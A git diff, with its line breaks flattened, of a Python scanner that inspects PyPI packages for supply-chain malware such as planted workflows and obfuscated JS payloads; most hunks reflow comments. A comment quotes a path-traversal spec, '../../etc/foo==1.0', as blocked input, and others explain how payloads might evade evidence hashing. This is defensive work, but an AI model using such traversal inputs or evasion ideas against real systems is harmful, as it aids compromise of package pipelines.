_canon_evidence(" | ".join(overflow)) exactly- # (strip each span to its non-empty L<NN>-less code lines, join with "\n"), so- # the digest is identical to buffering the whole list and canonicalizing once.+ # Overflow is streamed, not buffered: once `out` holds _MAX_EVIDENCE_SPANS rendered spans, every further span is+ # folded straight into a running digest instead of being materialized and sliced off at the end, so memory and work+ # stay bounded to the display cap rather than the match count while the digest still covers every overflow span.+ # The fold reproduces _canon_evidence(" | ".join(overflow)) exactly (strip each span to its non-empty L<NN>-less+ # code lines, join with "\n"), so the digest is identical to buffering the whole list and canonicalizing once.overflow_count = 0overflow_hash = hashlib.sha256()overflow_started = False@@ -1475,10 +1383,9 @@ def _extract_evidence(def _render(start: int, end: int) -> str:span = lines[start - 1 : end] or ["<multiline match>"]if len(span) > _MAX_MULTILINE_LINES:- # Digest the code without the L<NN>: markers so a pure line shift of- # the same span stays stable while a code change still reopens. The- # head is truncated for display only; the span digest already binds- # its full content, so no per-line digest is needed here.+ # Digest the code without the L<NN>: markers so a pure line shift of the same span stays stable while a+ # code change still reopens. The head is truncated for display only; the span digest already binds its+ # full content, so no per-line digest is needed here.code = "\n".join(ln.rstrip() for ln in span)digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()head = span[0].rstrip()@@ -1506,33 +1413,28 @@ def _extract_evidence(if max_matches and len(out) >= max_matches:return " | ".join(out)- # Precompute newline offsets once so mapping a match offset to its 1-based line- # is O(log n) (bisect) rather than O(n) (content.count) per match; the latter- # made this fallback quadratic on a minified file with thousands of matches.+ # Precompute newline offsets once so mapping a match offset to its 1-based line is O(log n) (bisect) rather than+ # O(n) (content.count) per match; the latter made this fallback quadratic on a minified file with thousands of+ # matches.nl = [p for p, ch in enumerate(content) if ch == "\n"]for m in pattern.finditer(content):start = bisect.bisect_left(nl, m.start()) + 1end = bisect.bisect_left(nl, m.end()) + 1if end <= start or (start, end) in seen:continue # single-line matches are already covered by the pass above- # A giant greedy DOTALL span is bound by the full digest of its content- # (via _render, which renders a >12-line span as a head line plus a sha256- # of the whole span). Binding only the anchors leaves the bridged interior- # unhashed, so an attacker could insert a new cross-line payload (a `/tmp`- # line and a later `subprocess` line, sharing no single line so the- # per-line pass never binds them) between unchanged outer anchors and keep- # the same key. Digesting the interior reopens on any such change; a pure- # line shift stays stable because the digest is over the markerless code.+ # A giant greedy DOTALL span is bound by the full digest of its content (via _render, which renders a+ # >_MAX_MULTILINE_LINES span as a head line plus a sha256 of the whole span). Binding only the anchors leaves+ # the bridged interior unhashed, so a new cross-line payload could be inserted between unchanged outer anchors+ # and keep the same key. A pure line shift stays stable because the digest is over the markerless code.if len(out) < _MAX_EVIDENCE_SPANS:seen.add((start, end))_emit(_render(start, end))if max_matches and len(out) >= max_matches:breakif overflow_count:- # The overflow digest was accumulated from the canonicalized (L<NN>:-less)- # spans as they were emitted, so a pure line shift above the overflow- # region does not change it and reopen an otherwise-unchanged finding,- # matching the per-span key's line-shift stability.+ # The overflow digest was accumulated from the canonicalized (L<NN>:-less) spans as they were emitted, so a pure+ # line shift above the overflow region does not change it and reopen an otherwise-unchanged finding, matching+ # the per-span key's line-shift stability.out.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")return " | ".join(out)@@ -1559,18 +1461,15 @@ def _blob_digest(content: str) -> tuple[str, str]:return blobs[0], digest-# Non-Python checkers-# Recent PyPI compromises (Lightning 2.6.x, ForceMemo) carried the payload in a-# bundled .js / .sh / workflow yaml so the Python imports looked clean. These-# checkers scan those file types when they appear inside a wheel/sdist.--+# Non-Python checkers. Recent PyPI compromises (Lightning 2.6.x, ForceMemo) carried the payload in a bundled+# .js / .sh / workflow yaml so the Python imports looked clean. These checkers scan those file types when they appear+# inside a wheel/sdist.def check_js_file(content: str, filename: str, package: str) -> list[Finding]:"""Run JS-side checks. Triggered by .js / .mjs / .cjs / .ts."""findings = []- # A >100 KB JS file inside a Python wheel is anomalous: CRITICAL combined- # with any other JS heuristic, HIGH standalone.+ # A >100 KB JS file inside a Python wheel is anomalous: CRITICAL combined with any other JS heuristic, HIGH+ # standalone.is_large = len(content) > 100 * 1024has_obf = bool(RE_JS_OBFUSCATION.search(content))has_web3 = bool(RE_WEB3_HIJACK.search(content))@@ -1620,13 +1519,10 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:_extract_evidence(content, RE_WORKFLOW_INJECT),))- # Pin the whole file's content digest to EVERY JS finding (not just large- # bundles). _extract_evidence blanks only Python string forms before counting- # brackets, so a JS backtick template literal that contains `)` can close a- # call's span early and omit the option/body lines that follow; binding the- # full content means a change to those omitted lines still reopens instead of- # riding the matched-line evidence. A large bundle with no other heuristic is a- # standalone HIGH.+ # Pin the whole file's content digest to EVERY JS finding (not just large bundles). _extract_evidence blanks only+ # Python string forms before counting brackets, so a JS backtick template literal containing `)` can close a+ # call's span early and omit the option/body lines that follow; binding the full content means a change to those+ # omitted lines still reopens. A large bundle with no other heuristic is a standalone HIGH.if findings or is_large:digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()if findings:@@ -1638,9 +1534,8 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:HIGH,package,filename,- # Size stays out of the check label (from main) so the baseline- # key does not drift when a benign bundle grows; the full-content- # digest below still binds the bytes so a payload swap reopens.+ # Size stays out of the check label (from main) so the baseline key does not drift when a benign+ # bundle grows; the full-content digest below still binds the bytes so a payload swap reopens."Python wheel ships large JS bundle (uncommon; manually review)",f"sha256: {digest}",)@@ -1717,8 +1612,8 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]def check_workflow_file(content: str, filename: str, package: str) -> list[Finding]:"""Run GitHub-Actions workflow checks. Triggered by .github/workflows/*.yml."""findings = []- # A workflow file inside a PyPI package is suspicious (Shai-Hulud plants- # `shai-hulud.yml` everywhere); injection-signature matches are CRITICAL.+ # A workflow file inside a PyPI package is suspicious (Shai-Hulud plants `shai-hulud.yml` everywhere);+ # injection-signature matches are CRITICAL.if RE_WORKFLOW_INJECT.search(content):findings.append(Finding(@@ -1762,11 +1657,7 @@ def check_workflow_file(content: str, filename: str, package: str) -> list[Findireturn findings-# Archive handling--# Tarbomb caps, mirrored from scripts/scan_npm_packages.py::safe_extract.-# Refuses zip/tar-of-death so a hostile archive cannot exhaust memory before-# scanning. Keep in sync with the npm side; duplicated to stay standalone.+# Tarbomb caps mirrored from scripts/scan_npm_packages.py::safe_extract; duplicated to stay standalone, so keep in sync.HARD_MAX_FILE_BYTES = 64 * 1024 * 1024 # 64 MiB per memberHARD_MAX_TOTAL_BYTES = 512 * 1024 * 1024 # 512 MiB cumulativeHARD_MAX_MEMBERS = 50_000 # entries per archive@@ -1850,8 +1741,7 @@ def iter_archive_files(archive_path: str):file = sys.stderr,)return- # Refuse symlinks/hardlinks/devices: tar parsers have- # historically dereferenced them on extract.+ # Refuse symlinks/hardlinks/devices: tar parsers have historically dereferenced them on extract.if member.issym() or member.islnk():print(f" [WARN] {path.name}: refused link member " f"{member.name!r}",@@ -1926,8 +1816,8 @@ def scan_archive(archive_path: str, package: str) -> list[Finding]:elif lower.endswith(".py"):findings.extend(check_py_file(content, filename, package))elif lower.endswith((".js", ".mjs", ".cjs", ".ts")):- # Lightning 2.6.x hid its payload in a 14.8 MB router_runtime.js;- # without this branch we'd only see the small Python loader.+ # Lightning 2.6.x hid its payload in a 14.8 MB router_runtime.js; without this branch we'd only see the+ # small Python loader.findings.extend(check_js_file(content, filename, package))elif lower.endswith((".sh", ".bash")):findings.extend(check_shell_file(content, filename, package))@@ -1935,8 +1825,8 @@ def scan_archive(archive_path: str, package: str) -> list[Finding]:# Shai-Hulud/ForceMemo plant their own GHA workflowfindings.extend(check_workflow_file(content, filename, package))except (zipfile.BadZipFile, tarfile.TarError, EOFError, OSError) as exc:- # Archive cannot be opened / is structurally broken: either transport- # corruption or a deliberate attempt to bypass error-swallowing scanners.+ # Archive cannot be opened / is structurally broken: either transport corruption or a deliberate attempt to+ # bypass error-swallowing scanners.findings.append(Finding(CRITICAL,@@ -1968,9 +1858,6 @@ def _scan_one(task: tuple[str, str]) -> tuple[str, list[Finding]]:return buf.getvalue(), findings-# Download packages--_RE_PYPI_SPEC_VERSION = re.compile(r"==\s*([A-Za-z0-9_.\-+!]+)")@@ -2001,7 +1888,6 @@ def _check_blocked_pypi_versions(specs: list[str]) -> tuple[list[str], list[Findf"{name}=={version} is on the BLOCKED_PYPI_VERSIONS list",))- # Drop the spec; do not downloadcontinuesafe.append(spec)return safe, findings@@ -2014,7 +1900,6 @@ def _pip_download_env() -> dict[str, str]:is /dev/null so a stray pip.conf extra-index-url cannot bypass the pin."""env = {**os.environ}- # Drop any user overridefor key in [k for k in env if k.startswith("PIP_")]:env.pop(key, None)env["PIP_INDEX_URL"] = "https://pypi.org/simple"@@ -2024,8 +1909,8 @@ def _pip_download_env() -> dict[str, str]:return env-# Pip resolver flags shared by both download branches. CLI index-URL pin is-# belt + braces with the env scrub; `--only-binary :all:` avoids running setup.py.+# Pip resolver flags shared by both download branches. The CLI index-URL pin is belt + braces with the env scrub;+# `--only-binary :all:` avoids running setup.py._PIP_DOWNLOAD_PIN_FLAGS = ["--index-url","https://pypi.org/simple",@@ -2034,21 +1919,19 @@ _PIP_DOWNLOAD_PIN_FLAGS = []-# Strip characters that could escape `dest` via `os.path.join`, so a spec like-# `../../etc/foo==1.0` cannot land outside the temp tree.+# Strip characters that could escape `dest` via `os.path.join`, so a spec like `../../etc/foo==1.0` cannot land outside+# the temp tree._RE_PKG_NAME_SANITIZE = re.compile(r"[^A-Za-z0-9._-]")-# sdist fallback. `--only-binary :all:` never builds an sdist (no setup.py-# exec), but a wheel-less project then can't be fetched at all and one such-# package fails the whole --with-deps resolve (exit 2) -- a coverage hole. So on-# resolve failure we drop to per-spec and fetch any sdist-only package's raw-# tarball from the PyPI JSON API for scan_archive() to read statically: no pip,-# no build, same no-exec guarantee. Transport failures are still exit 2; only-# "no wheel" is downgraded to a direct fetch.+# sdist fallback. `--only-binary :all:` never builds an sdist (no setup.py exec), but a wheel-less project then can't+# be fetched at all and one such package fails the whole --with-deps resolve (exit 2) -- a coverage hole. So on+# resolve failure we drop to per-spec and fetch any sdist-only package's raw tarball from the PyPI JSON API for+# scan_archive() to read statically: no pip, no build, same no-exec guarantee. Transport failures are still exit 2;+# only "no wheel" is downgraded to a direct fetch.-# How many levels of indirect-dep recovery to chase (a wheel dep whose own child-# is sdist-only, and so on). Bounded with dedup so recovery always terminates.+# How many levels of indirect-dep recovery to chase (a wheel dep whose own child is sdist-only, and so on). Bounded+# with dedup so recovery always terminates._MAX_DEP_FOLLOWUP_DEPTH = 2_SDIST_DOWNLOAD_TIMEOUT = 180# Never fetch an archive larger than we would be willing to scan (iter_archive_files cap).@@ -2217,8 +2100,8 @@ def _download_sdist_direct(fname, url = pickedif not _is_trusted_pypi_url(url):return None, f"refusing non-PyPI sdist URL for {name}: {url[:80]}"- # basename + sanitize keeps the path inside dest; the char class preserves- # the real `.tar.gz` / `.zip` suffix so the archive reader picks the format.+ # basename + sanitize keeps the path inside dest;+ # the char class preserves the real `.tar.gz` / `.zip` suffix so the archive reader picks the format.safe_fname = _RE_PKG_NAME_SANITIZE.sub("_", os.path.basename(fname)) or "sdist.tar.gz"out = os.path.join(dest, safe_fname)try:@@ -2312,12 +2195,10 @@ def _resolve_per_spec_with_deps(continuesdist_dep_followups.extend(_requires_dist_for(name, version, meta, download_errors))continue- # Has a wheel but the full transitive tree won't co-resolve- # (ResolutionImpossible) -- typically a package the requirement file- # installs with --no-deps by design (e.g. descript-audio-codec, whose- # own pins conflict). Fetch just the package itself with --no-deps so it- # is still scanned; its conflicting deps are out of scope here (the file- # excludes them on purpose). Only a genuine fetch failure is an error.+ # Has a wheel but the full transitive tree won't co-resolve (ResolutionImpossible), typically a package the+ # requirement file installs with --no-deps by design (e.g. descript-audio-codec, whose own pins conflict).+ # Fetch just the package itself with --no-deps so it is still scanned; its conflicting deps are out of scope+ # here (the file excludes them on purpose). Only a genuine fetch failure is an error.nd_cmd = [sys.executable,"-m",@@ -2340,9 +2221,8 @@ def _resolve_per_spec_with_deps(f"alone (--no-deps), recovering deps individually.",file = sys.stderr,)- # The --with-deps failure may have been a sdist-only TRANSITIVE dep,- # which --no-deps skips. Recover the declared deps so that class is- # still scanned (each is fetched as a wheel or direct sdist below).+ # The --with-deps failure may have been a sdist-only TRANSITIVE dep, which --no-deps skips. Recover the+ # declared deps so that class is still scanned (each is fetched as a wheel or direct sdist below).if meta is not None:sdist_dep_followups.extend(_requires_dist_for(name, version, meta, download_errors))continue@@ -2355,11 +2235,9 @@ def _resolve_per_spec_with_deps(f"per-spec failed for {spec} (with-deps and --no-deps): " f"{nd.stderr.strip()[:240]}")- # Recover the transitive deps of sdist-only packages. A depth-bounded,- # deduped worklist so a wheel dep whose own child is sdist-only is itself- # fetched (--no-deps) and scanned -- not silently dropped -- and that child- # is then recovered in turn. `dep` carries the version specifier so a pinned- # version is fetched.+ # Recover the transitive deps of sdist-only packages. A depth-bounded, deduped worklist so a wheel dep whose own+ # child is sdist-only is itself fetched (--no-deps) and scanned, not silently dropped, and that child is then+ # recovered in turn. `dep` carries the version specifier so a pinned version is fetched.seen: set[str] = set()worklist: list[tuple[str, int]] = [(d, 0) for d in sdist_dep_followups]while worklist:@@ -2517,8 +2395,6 @@ def download_packages(return results, download_errors-# Parse requirements files-_RE_NAME = re.compile(r"^([A-Za-z0-9]([A-Za-z0-9._-]*[A-Za-z0-9])?)")@@ -2542,7 +2418,6 @@ def parse_requirements(req_files: list[str]) -> list[dict]:with open(req_file) as f:for line_num, raw_line in enumerate(f, 1):line = raw_line.strip()- # Skip blanks, comments, options, nested -rif not line or line.startswith("#") or line.startswith("-"):continueis_git = line.startswith("git+") or "git+" in line.split("#")[0]@@ -2589,9 +2464,6 @@ def get_downloaded_version(archive_path: str) -> str | None:return None-# Display--def severity_color(sev: str) -> str:colors = {CRITICAL: "\033[91m", HIGH: "\033[93m", MEDIUM: "\033[33m"}return colors.get(sev, "")@@ -2634,9 +2506,6 @@ def print_findings(findings: list[Finding]) -> None:print(f" Summary: {', '.join(parts)}")-# PyPI version queries and --fix logic--def version_sort_key(v: str) -> tuple:"""PEP 440-ish sort key using stdlib only.@@ -2758,7 +2627,6 @@ def find_safe_version(clean = Truefor _, archive_path in downloaded:findings = scan_archive(archive_path, name)- # Delete archive immediately after scanningtry:os.remove(archive_path)except OSError:@@ -2784,7 +2652,6 @@ def update_req_line(raw_line: str, safe_ver: str, old_ver: str | None) -> str:Preserves env markers, inline comments, and line format.Appends a comment noting the pin."""- # Split off inline commentcomment = ""if " #" in raw_line:code_part, comment = raw_line.split(" #", 1)@@ -2792,13 +2659,11 @@ def update_req_line(raw_line: str, safe_ver: str, old_ver: str | None) -> str:else:code_part = raw_line- # Split off env markers (after semicolon)marker = ""if ";" in code_part:code_part, marker = code_part.split(";", 1)marker = ";" + marker- # Replace version specifier (==1.2.3, >=1.2, ~=1.0, !=1.1, or bare name)rewritten = re.sub(r"([A-Za-z0-9._-]+)\s*(?:[><=!~]=?[^;#,\s]*(?:\s*,\s*[><=!~]=?[^;#,\s]*)*)?",lambda m: f"{m.group(1)}=={safe_ver}",@@ -2851,7 +2716,6 @@ def update_req_file(filepath: str, updates: dict[int, str]) -> None:def _run_fix(critical_pkgs: set[str], entries: list[dict], max_search: int) -> None:"""Run the --fix flow: find safe versions, update requirements files."""- # Map package names to entries for source trackingpkg_entries: dict[str, list[dict]] = {}for e in entries:norm = e["name"].lower().replace("-", "_").replace(".", "_")@@ -2864,7 +2728,6 @@ def _run_fix(critical_pkgs: set[str], entries: list[dict], max_search: int) -> Nnorm = pkg_name.lower().replace("-", "_").replace(".", "_")related = pkg_entries.get(norm, [])- # Check if any are git depsgit_entries = [e for e in related if e["is_git"]]if git_entries:for e in git_entries:@@ -2873,7 +2736,6 @@ def _run_fix(critical_pkgs: set[str], entries: list[dict], max_search: int) -> Nchanges_summary.append(f" SKIP {pkg_name} (git URL)")continue- # Resolved version: try to extract from the spec (name==1.2.3)current_ver = Nonefor e in related:spec = e["spec"]@@ -2882,7 +2744,6 @@ def _run_fix(critical_pkgs: set[str], entries: list[dict], max_search: int) -> Nbreakif not current_ver:- # If no pinned version, download to find what pip resolvesdl_dir = os.path.join(tmpdir, f"resolve_{pkg_name}")os.makedirs(dl_dir, exist_ok = True)downloaded, download_errors = download_packages([pkg_name], dl_dir)@@ -2913,11 +2774,9 @@ def _run_fix(critical_pkgs: set[str], entries: list[dict], max_search: int) -> Nprint(f" [OK] {pkg_name}: {current_ver} -> {safe_ver}")changes_summary.append(f" FIX {pkg_name}=={current_ver} -> {pkg_name}=={safe_ver}")- # Update all occurrences in requirements filesfile_updates: dict[str, dict[int, str]] = {}for e in related:if e["source_file"] is None:- # CLI arg, no file to updateprint(f" (CLI arg, no file to update)")continuenew_line = update_req_line(e["raw_line"], safe_ver, current_ver)@@ -2937,9 +2796,6 @@ def _run_fix(critical_pkgs: set[str], entries: list[dict], max_search: int) -> Nprint(f"\n Re-run without --fix to verify the scan is clean.")-# Directory scanning--def _find_requirements_files(root: str) -> list[str]:"""Recursively find pip requirements files under root.@@ -2954,7 +2810,6 @@ def _find_requirements_files(root: str) -> list[str]:skip_dirs = {"__pycache__", "node_modules", "venv", ".venv", "site-packages"}results = []for dirpath, dirnames, filenames in os.walk(root):- # Skip hidden and known non-requirement dirsdirnames[:] = [dfor d in dirnames@@ -2966,18 +2821,15 @@ def _find_requirements_files(root: str) -> list[str]:continueif fnmatch.fnmatch(fname.lower(), "requirements*.txt"):results.append(os.path.join(dirpath, fname))- # *.txt inside a directory named "requirements"elif dirname == "requirements":results.append(os.path.join(dirpath, fname))return sorted(results)-# Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can-# enforce without drowning in legitimate-library noise. Matched on-# (package, package-relative file, check, evidence hash); the hash strips-# ``L<NN>:`` markers so version bumps and line shifts do not reopen an entry,-# but changed flagged code does. Regenerate with ``--write-baseline``.-+# Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can enforce without drowning in+# legitimate-library noise. Matched on (package, package-relative file, check, evidence hash); the hash strips+# ``L<NN>:`` markers so version bumps and line shifts do not reopen an entry, but changed flagged code does. Regenerate+# with ``--write-baseline``._DEFAULT_BASELINE_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json")@@ -2988,9 +2840,8 @@ def _norm_pkg(name: str) -> str:return re.sub(r"[-_.]+", "-", (name or "").strip().lower())-# Leading "<name>-<version>/" archive root of an sdist member, which carries the-# version. Stripping it (but keeping the rest of the path) gives a key that is-# stable across version bumps yet still distinguishes same-named files.+# Leading "<name>-<version>/" archive root of an sdist member, which carries the version. Stripping it (but keeping+# the rest of the path) gives a key stable across version bumps that still distinguishes same-named files._RE_SDIST_ROOT = re.compile(r"^[^/]+-\d[^/]*/")@@ -3003,12 +2854,11 @@ def _relpath_in_package(filename: str) -> str:return _RE_SDIST_ROOT.sub("", filename, count = 1)-# Evidence joins matched spans with " | " and a newline between labelled groups,-# each span tagged "L<NN>: ". Split only on those real delimiters (a " | " before-# a marker, or a newline), never on a bare "|" -- matched code may contain a-# bitwise-or or union type. The prefix strips only a genuine leading marker, an-# optional "Label: " then "L<NN>: "; a marker-like "L<NN>:" inside raw code (e.g.-# a .pth import line) has no leading marker and is left intact.+# Evidence joins matched spans with " | " and a newline between labelled groups, each span tagged "L<NN>: ".+# Split only on those real delimiters (a " | " before a marker, or a newline), never on a bare "|", since matched+# code may contain a bitwise-or or union type. The prefix strips only a genuine leading marker, an optional+# "Label: " then "L<NN>: "; a marker-like "L<NN>:" inside raw code (e.g. a .pth import line) has no leading marker+# and is left intact._RE_EVIDENCE_SPLIT = re.compile(r" \| (?=L\d+:)|\n")_RE_EVIDENCE_PREFIX = re.compile(r"^(?:[A-Za-z][A-Za-z0-9 _/+.-]*:\s*)?L\d+:\s?")@@ -3091,8 +2941,8 @@ def _load_baseline(path: str) -> "dict[tuple[str, str, str, str], set[str] | Non)except (KeyError, TypeError):continue- # None = unpinned (key alone suppresses). A set = only those file digests.- # An unpinned entry wins, since it already suppresses the key on its own.+ # None = unpinned (key alone suppresses). A set = only those file digests. An unpinned entry wins, since it+ # already suppresses the key on its own.pin = e.get("file_sha256")if key not in keys:keys[key] = {pin} if pin else None@@ -3181,9 +3031,6 @@ def _partition_baseline(return active, suppressed-# Main--def main() -> int:parser = argparse.ArgumentParser(description = __doc__,@@ -3259,7 +3106,6 @@ def main() -> int:)args = parser.parse_args()- # --scan-dir: auto-discover requirements filesreq_files = list(args.requirements)for scan_dir in args.scan_dir:found = _find_requirements_files(scan_dir)@@ -3271,10 +3117,8 @@ def main() -> int:else:print(f" [WARN] No requirements files found in {scan_dir}/", file = sys.stderr)- # Build unified entry list: list of dicts with source trackingentries: list[dict] = []- # CLI args -> entries with no source filefor pkg in args.packages or []:entries.append({@@ -3287,7 +3131,6 @@ def main() -> int:})- # Requirements files -> entries with source trackingif req_files:entries.extend(parse_requirements(req_files))@@ -3295,7 +3138,6 @@ def main() -> int:parser.print_help()return 2- # Deduplicate by normalized name, preserving first occurrenceseen: set[str] = set()unique_entries: list[dict] = []for e in entries:@@ -3317,10 +3159,9 @@ def main() -> int:tmpdir = tempfile.mkdtemp(prefix = "pth_scan_")atexit.register(lambda d = tmpdir: shutil.rmtree(d, ignore_errors = True))download_errors: list[str] = []- # Scan-side failures, kept beside the download ones so both reach the SCAN- # INCOMPLETE block below. A stall has to exit 2 like any other partial scan:- # exit 1 is reserved for "non-baselined CRITICAL or HIGH findings detected",- # so exiting 1 on a dead worker reports an infrastructure failure as a threat.+ # Scan-side failures, kept beside the download ones so both reach the SCAN INCOMPLETE block below. A stall has to+ # exit 2 like any other partial scan: exit 1 is reserved for "non-baselined CRITICAL or HIGH findings detected",+ # so exiting 1 on a dead worker would report an infrastructure failure as a threat.scan_errors: list[str] = []try:downloaded, download_errors = download_packages(@@ -3330,16 +3171,12 @@ def main() -> int:)print(f" Downloaded {len(downloaded)} archive(s).")- # Scanning, not downloading, is the cost here: on the hf-stack shard the- # `pip download` above takes 9.7s and the pass below took 306s of a 316s- # total. It is pure CPU (regex over decompressed archive members) and- # every archive is independent, so it fans out across cores.- #- # `imap` with chunksize=1 yields in submission order, so the findings- # list is assembled in exactly the order the serial loop produced it and- # the report is unchanged. chunksize=1 is also what makes `next(timeout=)`- # available at all: above 1, CPython's Pool.imap returns a bare generator- # with no timeout support (Lib/multiprocessing/pool.py).+ # Scanning, not downloading, is the cost here: on the hf-stack shard the `pip download` above takes 9.7s and the+ # pass below took 306s of a 316s total.+ # `imap` with chunksize=1 yields in submission order, so the findings list is assembled in exactly the order+ # the serial loop produced it and the report is unchanged.+ # chunksize=1 is also what makes `next(timeout=)` available at all: above 1, CPython's Pool.imap returns a bare+ # generator with no timeout support (Lib/multiprocessing/pool.py).tasks = [(archive_path, _extract_pkg_name(spec)) for spec, archive_path in downloaded]jobs = args.jobs if args.jobs else max(1, min(4, os.cpu_count() or 1))if jobs > 1 and len(tasks) > 1:@@ -3368,7 +3205,6 @@ def main() -> int:if captured:sys.stderr.write(captured)all_findings.extend(findings)- # Delete archive immediately after scanningtry:os.remove(archive_path)except OSError:@@ -3376,7 +3212,6 @@ def main() -> int:else:for archive_path, pkg_name in tasks:all_findings.extend(scan_archive(archive_path, pkg_name))- # Delete archive immediately after scanningtry:os.remove(archive_path)except OSError:@@ -3384,8 +3219,8 @@ def main() -> int:finally:shutil.rmtree(tmpdir, ignore_errors = True)- # Baseline allowlist: suppress triaged, known-good findings so the CI gate- # can be enforcing without red-failing on legitimate-library noise.+ # Baseline allowlist: suppress triaged, known-good findings so the CI gate can be enforcing without red-failing on+ # legitimate-library noise.if args.no_baseline:baseline_path = Noneelif args.baseline:@@ -3409,7 +3244,6 @@ def main() -> int:f"({crit_s} CRITICAL, {high_s} HIGH, {med_s} MEDIUM).")- # --fix mode: auto-search for safe versions (only real, non-baselined ones)if args.fix and active:critical_pkgs = {f.package for f in active if f.severity == CRITICAL}if critical_pkgs:@@ -3418,9 +3252,8 @@ def main() -> int:)_run_fix(critical_pkgs, entries, args.max_search)- # Surface pip-download failures BEFORE the exit code so a partial download- # can't masquerade as "0 findings, all clean" (silent-failure hardening 4).- # Also keeps us from writing a baseline from an incomplete scan.+ # Surface pip-download failures BEFORE the exit code so a partial download can't masquerade as "0 findings, all+ # clean" (silent-failure hardening 4). Also keeps us from writing a baseline from an incomplete scan.incomplete_errors = download_errors + scan_errorsif incomplete_errors:print(@@ -3437,15 +3270,14 @@ def main() -> int:)return 2- # --write-baseline: persist the full current CRITICAL/HIGH set as the new- # allowlist (ignoring any loaded baseline), then exit 0. Only reached once- # the scan is known complete.+ # --write-baseline: persist the full current CRITICAL/HIGH set as the new allowlist (ignoring any loaded+ # baseline), then exit 0. Only reached once the scan is known complete.if args.write_baseline:_write_baseline(args.write_baseline, all_findings, source = baseline_path)return 0- # Exit code: 1 only if a NON-baselined CRITICAL or HIGH remains. This is the- # signal CI gates on once the baseline reaches a clean run.+ # Exit 1 only if a NON-baselined CRITICAL or HIGH remains. This is the signal CI gates on once the baseline+ # reaches a clean run.if any(f.severity in (CRITICAL, HIGH) for f in active):return 1return 0diff --git a/scripts/sdpa_mask_backend_probe.py b/scripts/sdpa_mask_backend_probe.pyindex 7db27e96557..f38089ff07b 100644--- a/scripts/sdpa_mask_backend_probe.py+++ b/scripts/sdpa_mask_backend_probe.py@@ -67,9 +67,9 @@ backends = {}# The default dispatch's own dense output, so each forced backend can be checked against it.-# Timings alone cannot say WHICH backend the dispatcher picked, because forcing one adds-# sdpa_kernel overhead and two different kernels can land at similar times. Bitwise identity can:-# the forced backend that reproduces this tensor exactly is the one the dispatcher chose.+# Timings alone cannot say WHICH backend the dispatcher picked, because forcing one adds sdpa_kernel overhead and two+# different kernels can land at similar times. Bitwise identity can: the forced backend that reproduces this tensor+# exactly is the one the dispatcher chose.try:reference = F.scaled_dot_product_attention(q, k, v, attn_mask = dense)except Exception: # noqa: BLE001 -- no reference: the identity column just reports n/adiff --git a/scripts/sparse_accum_probe.py b/scripts/sparse_accum_probe.pyindex 74006334f30..71dbd3c2af3 100644--- a/scripts/sparse_accum_probe.py+++ b/scripts/sparse_accum_probe.py@@ -186,7 +186,6 @@ def main(argv = None) -> int:flush = True,)rows = []- # quality reference: dense bf16 eager (no compile, no quant)bref, ref, _ = run("bf16_eager", compile = False)rows.append(("bf16_eager", bref, float("inf"), 0.0, None))print(f" bf16 eager ref: {bref:.3f}s", flush = True)@@ -198,15 +197,15 @@ def main(argv = None) -> int:("fake24_fp8_c",dict(quant = "fp8", fast_accum = True, prune = True),- ), # quality of 2:4+fp8 (fake=no kernel)+ ),("real24_nocompile",dict(real_sparse = True, compile = False),- ), # sparse SPEED (no quant, no compile)+ ),("real24_compile_try",dict(real_sparse = True, compile = True),- ), # does sparse survive compile?+ ),]for tag, kw in specs:try:diff --git a/scripts/verify_import_hoist.py b/scripts/verify_import_hoist.pyindex 66dc56e9725..bc6c420a25d 100644--- a/scripts/verify_import_hoist.py+++ b/scripts/verify_import_hoist.py@@ -84,9 +84,6 @@ _BUILTINS = set(dir(builtins)) | {}-# ---------------------------------------------------------------- scope model--@dataclassclass Binding:kind: str # 'import' | 'importfrom' | 'def' | 'class' | 'other'@@ -112,7 +109,6 @@ def _import_target(node: ast.AST, alias: ast.alias) -> tuple[str, str]:if isinstance(node, ast.Import):bound = alias.asname or alias.name.split(".")[0]return bound, f"import:{alias.name}"- # ImportFrombound = alias.asname or alias.namemod = ("." * (node.level or 0)) + (node.module or "")return bound, f"from:{mod}:{alias.name}"@@ -153,8 +149,8 @@ class _Builder(ast.NodeVisitor):"""if node is None:return- # Literal[...] holds values, not type names. Skipping its args is what keeps this- # from crediting an unrelated import, the one direction that loses a real finding.+ # Literal[...] holds values, not type names. Skipping its args is what keeps this from crediting an+ # unrelated import, the one direction that loses a real finding.if isinstance(node, ast.Subscript) and _is_literal_ref(node.value):self._visit_annotation(node.value, scope, _depth, _lineno)return@@ -165,7 +161,6 @@ class _Builder(ast.NodeVisitor):inner = ast.parse(node.value.strip(), mode = "eval").bodyexcept (SyntaxError, ValueError):return # Prose, as in Annotated[int, "docs"]. Nothing to credit.- # Report against the string's own line; the parsed tree numbers from 1.self._visit_annotation(inner, scope, _depth + 1, _lineno or node.lineno)returnif isinstance(node, ast.Name) and isinstance(node.ctx, ast.Load):@@ -173,7 +168,6 @@ class _Builder(ast.NodeVisitor):for child in ast.iter_child_nodes(node):self._visit_annotation(child, scope, _depth, _lineno)- # -- binding helpers --def _bind_targets(self, scope: Scope, target: ast.AST) -> None:for n in ast.walk(target):if isinstance(n, ast.Name) and isinstance(n.ctx, (ast.Store, ast.Del)):@@ -192,7 +186,6 @@ class _Builder(ast.NodeVisitor):else:scope.add(name, b)- # -- generic dispatch within a scope --def _visit_body(self, stmts, scope: Scope) -> None:for s in stmts:self._visit_stmt(s, scope)@@ -303,14 +296,12 @@ class _Builder(ast.NodeVisitor):self._visit_body(node.orelse, scope)self._visit_body(node.finalbody, scope)return- # generic statement: visit all child expressions/stmts in same scopefor child in ast.iter_child_nodes(node):if isinstance(child, ast.stmt):self._visit_stmt(child, scope)else:self._visit_expr(child, scope)- # -- expressions --def _visit_arg_defaults(self, args: ast.arguments, scope: Scope) -> None:for d in list(args.defaults) + [d for d in args.kw_defaults if d is not None]:self._visit_expr(d, scope)@@ -489,7 +480,6 @@ def _analyze(src: str):tree = ast.parse(src)b = _Builder()b.run(tree)- # Per-scope: unresolved load names + import targets it resolves to.unresolved: dict[str, set[str]] = {}targets_by_scope: 